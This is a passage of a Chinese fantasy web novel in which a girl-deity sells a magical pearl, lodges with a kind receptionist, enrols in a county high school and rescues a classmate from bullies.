前台小姐走得快,回来得更快,身后跟着一个人,皮鞋的声音让空旷的拍卖行显得热闹了不少。
“小友的东西呢?先给老头子我掌掌眼……”老板的声音隔着几道门就传了过来。
云灵没空和他废话,等他走近,直接将珠子放在桌上。
借着昏暗的烛光,老板戴上眼镜,开始仔细研究。
“这……”
虽然像夜明珠,但细看之下有很大差别,内部似乎有气体流动。
老板拿起珠子,立刻感受到了它的珍贵之处……全身的胫骨脉络仿佛通达了,连老毛病都感觉不到了……
老板的感觉当然不是错的,这珠子内部,封存着一丝灵气,常人佩戴起来,百病全消,身轻体健。
老板让前台小姐回避,然后严肃地问云灵:“若是我能给出合适的价位,不知能否现在就割爱卖于我?”
云灵静静地坐着,不回话。
“三十万?”老板试探着。
云灵还是静静坐着,眼神危险。
“一百万?”老板咬了咬牙,直接翻倍。
云灵面无表情。
老板拿着珠子,试探几番都不忍放下,他摘掉眼镜,抹掉汗珠,缓缓开口……
……
从拍卖行出来时,云灵已经从一个穷光蛋变成了身价五亿的土豪。
这珠子其实是卖亏了,放在这个世界,可以说是无价之宝,但云灵不缺这玩意,再说,只是神祇宝典演化的,又不是真实之物,亏就亏了点吧?
不然能怎么办?要按真实价格,世界首富也买不起呀!
原主没有银行卡,云灵只能拖着拍卖行给的行李箱,慢慢走在大街上,姿态随意,仿佛手里的是一箱垃圾。
前台小姐刚好下班,也跟着一起出来。她一直静静跟在云灵身后,表情欲言又止。
时间从深夜转入拂晓,太阳光透过大气层,微弱的光点亮了城市。
云灵直线朝前走,前台小姐一直跟在她身后,表情复杂。
两人无言地走在路上,气氛诡异。
云灵思考后,回身问道:“姐姐,你一路跟着我,有何贵干?”
前台小姐急忙停下脚步,挥动双手:“我不是坏人……”
刚才在拍卖行,云灵给了她一笔钱,说是赔偿手机,多出来的当小费。
前台小姐担心云灵,她觉得对方只是个孩子,拖着那么多钱走在大街上不安全,于是想送她回家。
“我只是想问问,你有什么需要我帮忙的地方……”
云灵停下脚步,转过身来,目光在前台小姐的脸上打量了一番,见她眼中确实没有恶意,便没有再管她,依旧朝前走去。
69. 种马世界
云灵拖着行李箱,缓缓走向尚未熄灭的路灯下,余光忽然瞥见自己身上的衣物。
她之前没怎么注意穿着,如今天色已亮,走在大街上,这一身装束格外引人注目,想不被人注意都难。
破旧、脏污,还带着寒酸。
于是,云灵拖着行李箱,一步步逼近前台小姐,前台小姐本能地后退,但两人之间的距离,却在以一种肉眼可见的速度缩短。
“啊……”
前台小姐身体向后倾倒,后方便是马路台阶。在这危急时刻,一只纤细的手臂及时搂住了她的腰身,像是一幕少女漫画中的场景!
这让前台小姐不由得面容微红,她的心,不由得噗通乱跳,但下一刻,就听女孩嘲讽的语气传来,打破了这份美好意境。
“啧,连路都走不好。”
云灵将她扶稳后,立刻保持距离,让前台小姐心中五味杂陈。
“十万一个月,雇你照顾我!”云灵说道,原主是个孤儿,没有身份证,所以她有钱也买不到房子,没有房子,就没有住处。
流落街头是绝不可能的,这又不是武侠世界,而且她现在有钱,为什么要吃苦?
前台小姐:“……”
最终,前台小姐答应了,而云灵,也成功住进了前台小姐的家中。
前台小姐,亲眼见证了云灵是如何扛着一大箱钱,一口气登上八层楼,连大气都不喘一下的。
她本想帮忙,却被拒绝了。
要知道,那可不是一箱棉花。
那可是一箱子实打实的纸币和支票啊!
那些娇弱的女孩,抱着几本书就叫苦连天。
反观云灵,扛着比水泥还重的一箱子纸票,上八楼却如履平地。
前台小姐的心一直悬在嗓子眼。
直到抵达家门口,见云灵安然无恙,不仅安然无恙,连汗都没出一滴,这才稍稍安心。
“这里有新的拖鞋,你先去洗个澡,我叫杨柳,你可以称我为姐,或者直接称呼我名字……”
进屋后,前台小姐从柜子里拿出拖鞋,细心叮嘱,得知云灵是个孤儿后,她心中隐隐有种想要将其收为己有的冲动。
云灵之前说的花十万雇她,她不过是当开玩笑,对方只是小孩哎,而且,她觉得是因为云灵没住处,所以找的由头。
云灵见拖鞋的款式是一只小黄鸭,小眼大嘴,无处不透着一股蠢萌,幼稚得很。
估计是为了方便亲戚朋友来做客时准备的。
云灵满眼嫌弃,但转念一想,自己总是赤着双脚,在现代社会很容易被当成异类,再看那小黄鸭,虽然幼稚,但起码是一双鞋呀。
云灵深吸一口气,最终妥协。
等云灵换好拖鞋,杨柳脸上终于露出一丝慈爱的笑容,但很快,她就笑不出来了。
穿好鞋的云灵,走进来第一件事就是丢掉手里的箱子。
巨大的箱子被她单手提起,然后轻轻松松扔到一旁,那视觉冲击感不是一般的大。
这箱子要是落在外面,不知道会引起多少人的哄抢,如今却被云灵毫不留情地丢在一边,像是丢弃什么垃圾一般。
云灵去洗澡的时候,杨柳认命地将那箱钱拖到了书房。
家里没有保险柜,她干脆直接把整个书房当做保险柜,锁了起来。
搞定以后,杨柳额头已经布满了细细的汗珠。
她知道那箱子很重,但真正接触后,才直观地感受到它的重量,若不是有滚轮,她觉得自己可能连挪都挪不动。
这些钱本来是全部以支票形式给云灵的,但考虑到云灵没有身份证,到时候取钱又是个问题,于是老板就装了五百万现金给云灵,实在装不下的,才写在支票上。
老板那时候可是为自己的聪明自恋了好一会,他也不想想,换一个女孩子,谁拎得动那箱钱?
杨柳一边回忆一边又马不停蹄地去给云灵准备客房,将床铺上崭新的被褥,无奈地叹了一口气。
为何在这个青春的年华里,自己却操着一颗老妈子的心?
窗外的日头渐渐变得炽热,墙上的时钟指针,也在悄然流逝。
杨柳铺好床,步出房间。
客厅内,厚重的窗帘将阳光隔绝在外。
与她一同归来的云灵,已蜷缩在沙发上沉沉睡去。
杨柳嘴角微扬,轻手轻脚地坐到少女对面。
她在拍卖行工作,习惯于夜班。自下班以来,已过去不少时间。往常此刻她早已进入梦乡,但今日却毫无睡意。
她托着下巴,凝视着少女熟睡的面庞,有些出神。
从外表来看,这位被她捡回家的云灵无疑是个天仙般的人物。
五官精致,睫毛修长,宛如精心雕琢的瓷娃娃。
唯一的瑕疵,或许就是因营养不良而显得憔悴、略带蜡黄的肌肤。
然而,为何……
回想起两人初次相遇的情景,杨柳的神色骤然变得严肃,脑海中开始疯狂地编织各种假设与猜测。
她看着云灵的眼神,从惊讶、怜爱,到震惊、悲痛、心疼……最终,她情不自禁地走到云灵的沙发前,手不由自主地伸向少女的头顶,轻柔抚摸了起来。
见云灵睡得深层,考虑到在沙发睡不仅不舒服,还容易着凉,杨柳只得小心翼翼的抱起云灵,往客房安置…
……
云灵一觉睡到自然醒,睁开眼已是次日清晨。
她本人并不需要睡觉,但这身体与原主一样,太过虚弱,因此她只好让身体拥有充足的睡眠时间,弥补亏损。
云灵起床洗漱过后,来到客厅,此时是白天,杨柳几个小时前才下班回家,想必还在休息。
客厅空无一人,只有茶几上摆放着一份早餐,显然是新近购买的,还冒着热气。
旁边的纸条上,写着给云灵的留言,提醒她记得吃早餐。
云灵随手丢掉纸条,目光落在那份早餐上——一份肉粥,一杯豆浆。
云灵将豆浆喝了,至于那份肉粥,则是驱使凤女神火给烧了,她是神祇,不食肉食。
用过早餐,云灵将豆浆杯放在垃圾袋里,携带出了门。
云灵此行,是想解决自己的户口问题。
须知,她至今还是个无籍之民!
云灵在县城内左逛右行,侦测到一场小型商务聚会,就在县城某商业巨头的府邸。
为了表示尊重,云灵路过一家服饰店时,她还特意购置了一套新衣,换下了杨柳小姐给的那条裙子和小黄鸭拖鞋。
未带发饰,云灵随意地将一头青丝披散在肩后。
红底蓝边的休闲套装,既简洁又美观,衬托着一米五的云灵,像个初中生,哦,本来这具身体的年龄也只有十五岁,说是初中生也对。
换上新装,云灵步履如飞,很快,就到了富豪聚会的府邸。
经过与富豪们亲切友好的会谈,再出来时,云灵的户籍问题,已经完美解决。
像云灵这种情况,要办理户籍,光有钱是不够的,提交资料后,必须等待上级层层审批。
审核全部通过,才能成功落户。若是少了任何一个环节,抱歉,一切都要重来。
流程繁琐至极。
即便整个县城的富豪们都在为她奔波,也无法一蹴而就。
好在那些富豪够聪明,有的塞钱,有的找关系,最终在云灵发怒前把事情办妥了。
去取资料的那天。
那些平日里眼高于顶的富豪们,一个个列队恭迎,脸上无不挂着谦卑的笑容。
“云小姐,这是您要的资料,真是辛苦您亲自跑一趟了,要不……里面歇会儿?”
“不用,我赶时间。”云灵半眯着眼睛接过资料。
云灵打开档案袋,里面是一些基础资料。但很明显,档案里的内容,并非原主的真实情况,而是由这群富豪自行想象,不知从何处编造而来。
文档的末尾,还有一句盖了红章的评价:聪慧过人,端庄大气,优雅美丽。
看着这句评价,和旁边盖着官方认证的章,云灵觉得……或许可以原谅他们上面编的那些荒唐事?
云灵仔细检查完档案,随后吩咐一旁的富豪将其归位,接着又随手翻阅了其他文件。
户口本、出生证、身份证一应俱全,除此之外,还有一本房产证意外地出现在她眼前。
注意到云灵的目光停留在房产证上,一位机敏的富豪立刻上前解释:“这是我们为您准备的一点小心意,地段绝对是县里最好的……”
云灵半眯着眼睛,脸上并未露出喜悦之情,反而将视线转向了站在人群最后的一位老者。
这位老者显然也是富豪中的一员,但与其他富豪相比,他显得有些落魄,精神也不甚振作,此刻正默默地站在队伍的最后,若不细看,几乎难以察觉他的存在。
引起云灵注意的是,这位富豪——她之前并未在聚会中见过!
她非常确定,这位老者绝不在当初的富豪之列。
云灵将房产证扔给领头的富豪,抱着自己的资料转身离去。
走到门口时,她突然停下脚步,让众富豪的心又提到了嗓子眼。
只见她缓缓回头,嘴角挂着一丝冷笑:“依我看,那东西还是还回去的好,毕竟,人在做,天在看……”
最后半句话随着她踏出门槛而渐渐消散在空气中,几乎听不清。
但在富豪们耳中却如同魔音绕梁。
确认云灵真的离开后,为首的那位商业巨头,他手中的房产证仿佛成了烫手的山芋,他急忙将其丢还给了队伍末尾的老董事长。
董事长
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手忙脚乱地接住,那双因年岁而变得有些浑浊的眼睛,凝视着女生刚刚离开的门口,眼中满是迷茫。
他这是……终于得到了善报吗?
不久,便是县一中开学之日。
杨柳强拉着云灵去报名读书,并以家长的身份,帮忙办理入学手续。
天啦!云灵诞生时想读书没得读,如今想让她读书,只觉得一股烦躁之意升起。
是日清晨,两人抵达学校。
杨柳望着校门口熙熙攘攘的人群,兴奋之情溢于言表,拉着一脸不情愿的云灵,挤进了人群之中。
办理入学的队伍蜿蜒如长龙,需要耐心等待。烈日当空,汗水浸湿了衣衫,队伍中不时散发出一股难以言喻的气味。
云灵不愿与众人挤在一起,便在树荫下静候。
六识敏锐的云灵,看到杨柳与老师交谈的情景。
只见她咬了咬牙,再次确认道:“不能先办手续,之后再补交费用吗?”
老师的回答斩钉截铁:“不行!学校有规章制度,即便我有心也无能为力。”老师语气中带着不赞同,“开学不带钱,作为家长,怎能连这点常识都不懂?”
除了学费,还有书本费、资料费等,需在入学当天交齐。
杨柳首次帮助孩子报名,以为只需交学费,未曾想到还有这些费用。
杨柳还未从余额不足的尴尬中回过神来,便看到云灵递来的银行卡。
“拿着,不够再问我要。”
这一幕,杨柳想起了一句经典台词:“女人,拿着,随便花。”
接过卡,杨柳一脸茫然。
同样茫然的还有负责收款的老师。她见过不少类似情况,但都是家长给学生钱。眼前的这一幕,似乎有些不对劲。
终于办完手续,杨柳带着早已不耐烦的云灵朝教室走去。
高一新生的班级位于三楼。刚上楼,他们便遇到了刚刚抵达的班主任。
按照规定,新学期的教职工都穿着职业装,佩戴工作牌,班主任还特意戴着印有班级名的帽子,极易辨认。此刻,他脸上洋溢着青春的笑容,明显是个刚毕业、第一次担任教师的青年,对未来的挑战还浑然不觉。
杨柳,作为一个新晋监护人,有意向班主任请教育儿之道。而班主任,作为一个新晋教师,看到温柔漂亮的前台小姐,也乐意分享经验。
两人在教室外的走廊窗户旁,旁若无人地交谈起来,完全忽略了一教室的学生和一旁的云灵。
“狗男人!”云灵内心暗骂一句,便独自向教室走去。
此刻,教室里已有不少同学。
这些同学大多互不相识。性格内向的,拘谨地坐在自己的位置上;而那些性格开朗的,短短时间里,已经在班上如鱼得水,谈笑风生。
然而,就在云灵踏入教室的那一刻,教室内的气氛突然凝固。原本热闹非凡的教室,瞬间变得鸦雀无声,甚至一根针落地的声音都能听得清清楚楚,比老师突击检查还要来得有效。
众人不约而同地朝同一个方向望去。
那里,只有一个女生,静静地站在教室门口。
女生容貌精致,但这并非同学们安静的原因。毕竟,审美千差万别,不是每个人都会喜欢同一种美。
让他们瞬间安静的,是女生身上那种令人惊惧的气势。
没错,就是惊惧。
她用那充满冷寒的眼神,肆意地在每个人身上扫视。
被她目光扫过的同学,都不禁感到一股寒意从脚底升起,仿佛死神的镰刀在头顶轻轻划过,精挑细选着下一个目标。
更有甚者,吓得满头大汗,紧张地咽着口水,双手也不由自主地颤抖起来。
云灵被送来上学,本来心情就不好,见教室吵闹,更觉烦躁。
因此,她浑身气势一开,冷寂之意弥漫,从尸身血海走出来的气势,哪里是这些温室里的花朵抵抗得了的?
云灵暗自满意这效果,内心给自己点了个赞。
这冷寂的气势,不过有大小姐暮璃的半分样子,却已经足够吓到这些小朋友了。
云灵发觉这气势还挺好用,为了今后的安静,她决定常显气势,让这些小朋友乖乖的。
云灵走进教室找了个座位,满脸冰寒,看着那想勾引杨柳的班主任,更是不悦。
杨柳和班主任聊得尽兴,探头往教室里一看,发现的就是这样一幕:自家的花朵坐在教室正中央,精致的脸上满是寒意,似乎心情不是很好?
“咦,看来这一届的孩子都很乖啊,这么安静。”不明真相的班主任也跟着探头进来,看到大家都安分地坐在自己的位置上,还颇为欣喜。
果然是他多虑了,一群学生,又能有多难带?
杨柳笑着附和:“是啊,这么乖肯定很好带……”
70. 种马世界
按照学校的规定,家长不得在校内久留,毕竟学生们已非幼儿园的孩童。
因此,尽管杨柳对云灵牵挂不已,也只能依依不舍地离开。她一步三回头,直到走出校门,心中涌起了与其她家长相似的焦虑。
比如:她的孩子若交不到朋友该如何是好?
然而,杨柳的担忧完全是多余的,因为云灵根本就没有交朋友的打算。她只想回云霞世界彻底躺平,与众生灵玩耍。
杨柳带着满心的不安离去,留下云灵一人在教室中,继续散发着她那冷寂的气势。
报道的同学陆续进入教室,无一例外地感受到一股难以忽视的冷寂之意,而那股冷寂的源头,正是坐在教室正中央的女生。
被她目光扫过的同学,都有一种死里逃生的感觉,原本对新学期的期待,此刻全都化作了恐惧。
直到上课铃即将响起,云灵见到了最后一个人,很巧,居然是剧情里,得到原主机缘走上人生巅峰的人。
她望着门口的身影,目光中充满了不善。
很好,这人居然踩着点进班!她自己都没有踩点进班,她堂堂神祇,不要面子吗?
随着云灵心情,教室里的冷寂之意愈发浓烈,冷得同学们的牙齿都开始打颤。
楚胜从乡下到县城,经历了一段不短的旅程。
他昨天就出发,直到今天早上,才勉强抵达县城附近。赶到公交站台后,却发现等不到车。为了避免迟到,他只好骑自行车,却不料太过用力,链条都蹬掉了。
修好链条后,他才勉强在上课前赶到教室。
少年站在教室门口,额头上满是汗水,脸上还留有修车时的油污。
他的这副模样同学们原本想要嘲笑,但有云灵存在,教室里竟无一人敢出声。
安静得就像坟地一般。
楚胜不知道为什么会有这样的感觉,但这个词却异常贴切。
“对不起,老师。”楚胜向讲台上的人深深鞠了一躬,“我迟到了……”
班主任没有去为难学生。他一边拿着手机,一边飞快地添加了杨柳的联系方式,随意地让楚胜自己找个位置坐下。
这是一句很平常的话。
却不知怎的,触碰了楚胜的心弦。
他紧握拳头,低头,嘴唇微微颤抖,仿佛受到了极大的侮辱。他深呼吸几次,才低声应了一声,转身朝座位走去。
由于到得太晚,教室里的座位几乎已被占满,只剩下一个位置,恰好就在教室中央那个女生的旁边。
按常理,那个位置颇为不错,不应该空着。
但不知何故,它就是空了下来。
楚胜的运气还算不错。
他直接朝那个空位走去。
坐下的瞬间,他突然感到一阵寒意,仿佛死神的镰刀就在身旁,吓得他本能地捂住脖子,朝旁边看去。
那里,他的新同桌正注视着他。
女生容貌不俗,甚至可以说非常漂亮。
但她的眼神令人不寒而栗,足以抵消她外表带来的惊艳。
“你好……”楚胜不知该说些什么,低声打了个招呼后就转过头去,不敢再与她对视。
云灵的目光转向了别处,但周围的寒意却丝毫未减。
真是出乎意料……这个碍眼的家伙居然还自己送上门来,是来找打的吗?
夺了原主的机缘,这个男人,已经被判了死刑。更何况,这个男人就是话本里所谓的男主。
这男主得了机缘之后,在剧情里广开后宫,招惹了多少女子?简直是垃圾!
讲台上的班主任正滔滔不绝,交代着新学期的注意事项,一条接着一条,似乎完全没有被底下学生的一些小动作所影响。
按照惯例,讲完一大段让学生昏昏欲睡的套话后,最后总结时,其实只剩下一句话。
“你们已经是高中生了,很多事情不需要老师多说你们也应该知道,希望在未来的三年里,大家能够和睦相处,努力考上一所好的大学。”
说完,班主任满意地看到下面一片寂静。
“很好,看来我们的同学都非常自觉,已经有了那种紧迫感,那么接下来,我们需要选一个班长。”班主任抬起手,正准备指向云灵的方向。
那位同学的家长,一看就知道综合素养特别好,是自己心目中的……啊呸!是家长中的楷模!
班主任脸上一红,心中已有决定。
然而还没开口,他就感觉到一股寒意扑面而来。
被他指着的女生,半眯着眼睛,直直地望向他,眼中的冷意不言而喻。
班主任下意识地手一抖,就指到了云灵前面的一位同学。
“……好,就你了,以后你就是班长,上来自我介绍一下。”
那同学戴着一副黑框眼镜,看起来性格颇为内向。他似乎被这突如其来的惊喜弄得有些不知所措,犹豫了许久才小心翼翼地走上讲台。
他本有许多话想说。
比如,他希望能和同学们和睦相处。
再比如,他兴趣广泛,希望能结交几个志同道合的朋友。
但当他站在讲台上,感受到一道与众不同的目光落在自己身上时,他的大脑突然一片空白。
男生没敢多言,憋了半天,只说出了自己的名字和一句谢谢,便匆匆下了讲台。
这恐怕是大家最难忘的一次开学仪式。
一天的课程结束,同学们手忙脚乱地收拾东西回家,依旧没有人敢说话。所有人都背上书包,急匆匆地离开,仿佛身后有洪水猛兽在追赶。
很快,教室里只剩下两个人。
云灵和楚胜。
楚胜因为新发的书太多,布袋子装不下,需要不停地整理,所以才被留到了最后。
云灵也没有离开,她坐在自己的位置上,没有整理书本的意思,任由它们散落在桌面上,增添了几分凌乱。
等楚胜整理完书本,准备离开时,女生还在盯着那堆书,眼里满是嫌弃。
嫌弃什么?
难道还能嫌弃那堆书?
楚胜想着以后还要和这位同桌相处很长时间,于是鼓起勇气,酝酿了一会儿说辞,准备和新同桌友好地打个招呼,互相介绍一下。
对方的目光恰好望了过来。
空无一人的教室里,女生随意地坐在自己的位置上,眼里的冷意却毫不掩饰,看得人心中发憷。
就好像一把通体漆黑的镰刀,虎视眈眈地准备将人开膛破肚。
楚胜吓得脸色一白,瞬间打消了交谈的念头。
他的这位同桌,真是……浪费了一张好脸!
收拾完东西,楚胜脚步匆忙地离开教室。
踏出门槛的一瞬间,久违的温暖袭来,舒服得让人不禁叹息出声:“是班上的空调温度开得太低了吗?”
云灵目送楚胜离去,慢悠悠地沿着学校的小道朝里面走,杨柳应该快去上班了,她也不想那么早回去。
越往里走,周围的人越少。
走到最后,基本上已经看不到人了,这地方,就是基本上每个学校都会有的神奇地盘——后山。
刚靠近,云灵就听见一阵吵闹声清晰入耳,不时还伴随着女声的闷哼。
拐角的那头,有群化着古怪妆容的小太妹在放飞自我。
其中一个小太妹,看了看天色,“快晚上了,快点解决。”
“那……咱把她拖出学校吧?这大晚上的,我可不想在后山呆着,我妈还让我早点回家呢。”
“你妈让你早点回家你就早回?以前可没见你这么听话。”
“先别说这个,你们快看看,黎玲怎么不动了,该不会昏过去了吧?”
“昏就昏了,活该!谁让她不给我们作业抄还打小报告,校花了不起啊,还什么冰山校花,呵,也不知道用什么手段得来的称号。”
“照我说,干脆随便往巷子里扔算了。”
“别,最近新闻上不是说,咱县里有人命案吗?据说死的可惨了,头都被打爆了,而且有关部门几天下来都没找到任何指纹,最后成了一宗悬案。现在还没抓到人,万一出什么事……”
“你这又是哪来的版本?我可是知道,那死的其实是个逃犯,拐卖人口、毁人家庭的事可没少干,恶有恶报死不足惜。”
“行了!别在这地方讨论这些。”
“就是,听得我瘆的慌。”
……
地上,一道被麻绳捆得严严实实的身影,一动不动地趴在这群小太妹当中,格外显眼。
不是校花女主黎玲又是谁?
叽叽喳喳的讨论声还在继续,为首的小太妹似乎被吵烦了,她怒喝一声让众人住嘴,随后忽地下蹲身体,狠狠地捏起地上黎玲的下巴。
“看在同学一场,我们也不做太狠,都说巷子那边不安全……”她冷笑着。“就将你扔到学校旁边吧!”那一头夸张的彩色头发,跟非主流时代的小公主一般,极具辨识度。
老大决定好了,跟班们当然是无条件服从。她们拖着黎玲,跟着老大一起朝出口走去。
哪知刚过拐角,众太妹具是一愣。
这……
什么时候站了个人?!
云灵保证不是故意偷听的,而是碰巧碰到了这传说中的校园霸凌,原谅她没读什么书,没经历校园霸凌,工厂霸
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凌倒是见识过。
刚做完这种事就被人发现,一群半大的孩子哪有那么镇定。她们心虚地互相看了看,最后干脆咬牙朝云灵伸出手——
但转瞬间,她们就知道自己错了。
对方居然有功夫底子!
领头的小太妹艰难地从地上爬起来,顶着一头七彩的飘柔秀发,满眼血丝,咬牙切齿:“你给我等着。”
放完狠话,随后,带着小跟班丢下黎玲,转身就走,没有一丝留恋。
云灵视线一转,看了看被扔到一旁的黎玲。
此刻,这个冰山美人被麻绳五花大绑地捆在地上,正面无表情地看着自己,漂亮的脸上还带着许些淤青。
真是暴力,说好的打人不打脸呢,一点原则都没有,过分!
云灵径直朝黎玲走去,身上冷寂气势没有丝毫减少,让黎玲心慌慌。
偏偏她被绑着,又动不了。
那张被称之为冰山的脸上,眼中的惊恐在无限放大。
云灵站在黎玲面前,居高临下。
对方也正看着她。
麻绳很紧,勒的皮肤有些生疼,黎玲面无表情地继续沉默着。
此刻,她居然不知到底要不要跟眼前这个女生求助。
并非她没有求生意识,而是……怕刚出狼窝,又入虎口。
然而,可就在她心中犹豫之时,那女生忽的单膝蹲了下来。
蹲下的时候,因为离得近,黎玲甚至可以闻到她身上一股扑面而来的清香,让自己原本有些恐惧慌乱的心情逐渐被安抚平缓。
云灵手脚利索地给她解开了绳子。
“谢谢……”黎玲扶着墙慢慢撑着站起身,被麻绳绑久了的身体,还有些血液不通,她望着云灵,轻轻出声。
她被这些人绑架,她认命,大不了事后再找回场子。但云灵这次救了她,有恩于自己,万一被自己牵连而遭遇不测,那可真算是无妄之灾。
“到时候若追究起来,你将全部责任推到我身上便好。”黎玲想了半天,语气生硬地开口,带着冰山美人一贯的冷冽味道。
刚说完,就发现对方用看傻子一样的目光看着自己。“这个世界,没有人能追究我的责任。”
云灵的话,在黎玲听来,自大又狂妄,让她想起来,小说中描写的霸道总裁…
云灵说完,将视线从黎玲身上收回,扭头就走,毫无留恋。
此刻临近天黑,黎玲有心想快些离开,可被那群人打折的腿,却丝毫使不上力气。
她一咬牙,松开扶着墙壁的手,慢慢朝前走。刚走没两步,腿下就是一软,一阵晕眩感袭来,整个人竟是直直的朝前扑去。
望着地上那些满是尖锐石子的地面,黎玲心里一凉。
毁容两个字在她心中无限回旋。
这个年纪的女生最在乎的莫过于容貌,那怕是她,也无法摆脱这样的定律,虽嘴上说着无所谓,但……
黎玲想到了毁容后的一切。却没想到,下一秒,她落入了一个满是清香的怀抱。
抬头,竟是那个方才明明已经走掉的女生。
“瘸了?”
女生说出的两个字,听上去像是在诅咒。
黎玲犹豫了一下,盯着女生,点了点头。
天色逐渐暗沉下来,璀璨的星光转而亮起,在两人的身上打下了一层极浅的光晕。
黎玲安静地窝在云灵怀里,透着冰山美人一贯冷冽的味道,漂亮的脸上却错落着些许淤青,显着几分可怜。
云灵直接将人送进了医院,还顺手挂了一个长期病床号。
黎玲,在原话本剧情中,是男主楚胜的后宫之一,云灵厌恶这个男人,得知黎玲的名字之后,她当然不容许黎玲成为那狗男人的后宫佳丽之一。
黎玲面无表情,实则心中一片茫然,她被架上病床,语气中带着几分虚弱:“不过是小伤,不必如此……”
她看着周围的医生护士们,如临大敌般四处奔走,准备各种外伤用药,心中五味杂陈。
而且,听护士报账,这种病房一天要好几千。用在她身上,岂不是太过奢侈?
云灵站在病床旁,俯视着床上的黎玲,语气不容置疑:“瘸了还叫小伤?又没让你还钱,好好待着。”
她直接交了一个月的住院费,原本是想着交三年医药费,彻底断绝男女主角相遇可能的。
想着这样太过于突眼,因此,断绝了这念想,默默叹息。
黎玲窝在被子里,看着云灵毫不犹豫地转身离去的背影,忽然觉得这一幕颇有几分霸道总裁强关小娇妻的意味。
她若是那被关的小娇妻,那刚才的云灵便是……
71. 种马世界
第二天一早。
云灵还未到来,教室里的气氛却异常热闹。
正处于青春期的孩子们,似乎已经忘记了昨日的恐怖气压。
那些本就不安分的同学,此刻更是纷纷围在楚胜的桌前,开始了他们可能会迟到,却永不缺席的恶毒言语攻击!
起因是楚胜作业未完成,却要求小组长不要记他的名字。
说什么记了就是看不起穷人,看不起他。
小组长是个女生,却也不是好欺负的,她先是给了楚胜一个“你疯了吗”的眼神,随后果断记下他的名字。
凭什么不能记你的名字?
穷人又如何?
穷难道还能穷出优越感?作业没做完还不给记了?
真是没见过这样的人!
见小组长最终还是记下了自己的名字,楚胜怒不可遏,立刻与她争执起来。
原本只是他与小组长之间的争执。
但随着越来越多的同学站出来打抱不平,楚胜逐渐处于下风。
最后,因一人难敌众口,楚胜憋屈地坐回了自己的座位。
他穿着洗得发白的牛仔裤和干净的白衬衫,在一群名牌衣物的同学中,格外另类。
他沉默了。
但那群同学却没有打算轻易放过他。
讽刺的声音充斥着教室。
班长坐在楚胜前桌,盯着那堆混乱,想劝却又无从下手。
他完全不知道该怎么管理这些纪律,早知道当班长这么麻烦,他就不干了!
而且这个楚胜同学,明明每次都是主动找别人麻烦的,偏偏最后争不过别人,还摆出一脸委屈相。
最后造成这个结果,能怪得了谁?
班长哭丧着脸。
他迟早要找机会把这职位给卸了,这纪律,根本没法管!
教室一片杂乱。
各种不怀好意的笑声此起彼伏。
楚胜被围在众人中间,俊秀的脸上是压抑着的怒火。
心中的大喇叭嘀咕作响:乡下人怎么了?凭什么看不起乡下人?这些人的钱,不也是父母给的吗?没有父母,这一群蛀虫什么也不是。
不就是有钱吗?
他迟早有一天会出人头地的!
众人讽刺推搡着,有些过分的话,因为太过于顺口也一并说了出来,正当楚胜忍无可忍之际,这群人却忽然又都安静了下来。
尤其是闹腾得最厉害的那几个,仿佛被什么东西给扼住了脖子。
涨红了脸,喉咙里再发不出一个音节。
几秒后,众人沉默着回到了自己的座位。
教室里又弥漫起那股熟悉的冷寂之意。
女生踩着门槛走进来,似乎丝毫没有察觉到自己给大家带来的恶劣影响。
几乎就在她坐到位置上的瞬间,上课铃响起。
成功踩点!
看吧,她才该是那个最后出场的!
这节课是语文课,县一中的语文老师如今已年过四十,他的任课资历十分丰富,但即便如此,今天的这堂课仍是让他觉得有些惊讶。
太乖了。
整个班从上课开始到现在,居然连一点多余的声音也没有,安静的就如同坟地一般……
为什么是坟地?
他也不知道,却还是不禁露出了幸福的笑容。
斗志昂扬地讲完两节课,离开的时候,语文老师使劲揉搓着自己的胳膊,表情诚恳:“同学们表现的非常好,就是教室的空调温度太低了,容易影响学习,下次记得调高一点。”
同学们沉默着。
他们很想告诉老师,今天根本没有开空调,但是话到喉咙口,却怎么也说不出来。
一上午就这样在诡异中过去。
下午午休刚结束,班主任就忽然出现在了班级门口。
“云灵同学,麻烦出来一下。”他仿佛遇到了什么棘手的事情,一张脸显出几分惊疑,头也不停地往教室里探。
被念到名字的女生正趴在桌子上睡觉,就像是没听见一般。
但片刻后,云灵满是不耐烦地站起身,顶着众人恭敬又不敢造次的目光,大步离开教室。
她一走,班上就好像从坟地里陡然搬到了迪斯科,吵嚷地简直不像是同一批人。
嗷嗷的八卦声不绝于耳。
“那妹子是惹事了?”
“看那气定神闲的,我觉着不像。”
“其实云灵同学挺好的,我上次还看见她一个人悄悄坐在座位上喝豆浆,现在想起来,莫名有点萌是怎么回事!”
“对对对!我上次帮她顺路带个东西,她就给了好多小费!”
……
同学们有了新的话题,没工夫再去找楚胜的麻烦。
以至于早上还非常热闹的教室中央地带,此刻出现了一片真空区,无人问津。
但这样的冷落,对楚胜而言,又何尝不是另一种幸运?
看着身旁空了的座位,楚胜眸光微闪,打着不为外人道的小算盘。
……
这边,云灵直接跟着班主任来到了政教处。
在三楼校长室的门口,班主任转回头看着她,眉眼严肃。
“待会无论校长问你什么,你都说实话,老师就在在门口守着,要是受了什么委屈,尽管告诉老师,老师一定护着你。”
语毕,班主任揉了揉发疼的额角,推开门道:“进去吧。”
校长室很大。
至少比其他老师的办公室要大许多。
主要分为会客区和办公区两个部分,两处中间没有挡板,互相都能看得见,整个室内呈现出一种简约大气的风格,没有多余的软装和壁画,处处透着一种高大上的感觉,显然也没少花钱。
会客区里,只有一组简单的沙发和茶几,显得空旷而冷清。
办公区,目所能及之处,只有一组桌椅,桌上陈列着电脑和一些摆设,简洁而不失威严。
那张真皮的旋转沙发椅,一直用椅背对着门,同样,也背对着云灵,看上去极为傲慢。
木质地板加上空旷的室内,能将声音放大好几倍,再加上云灵脚步的故意,明晃晃昭示着有人进来了。
但校长就跟听不见似的,仍然一动不动地以椅背示人。
实际上就是想给云灵一个下马威。
校长今年已经三十好几,却还没结婚,家里的小辈,算起来也就只有一个侄女。
对于这个侄女,校长也是当成了自己的孩子来疼,来宠,可谁知,这孩子昨晚上居然一夜未归……
好不容易等侄女回来,两人花了一个上午的时间指认排除,才找出那个害她的真凶。
校长当下怒不可遏。
回到学校,就给云灵的班主任打了个电话,让其将人带过来。
如今,这下马威也已经摆了半天,正常孩子,估计都已经吓怕了吧?
校长心中冷笑一声,转动椅子,转过身来。
他倒是要看看,究竟是什么人,居然不顾自己的面子,把自己的侄女欺负了!
校长威风凛凛地摸了摸头上不剩几根的秀发,抬头,却是差点没惊掉胡子。
“谁允许你坐那的!”
女生坐在待客区的沙发上,哪有一点被吓到的样子?
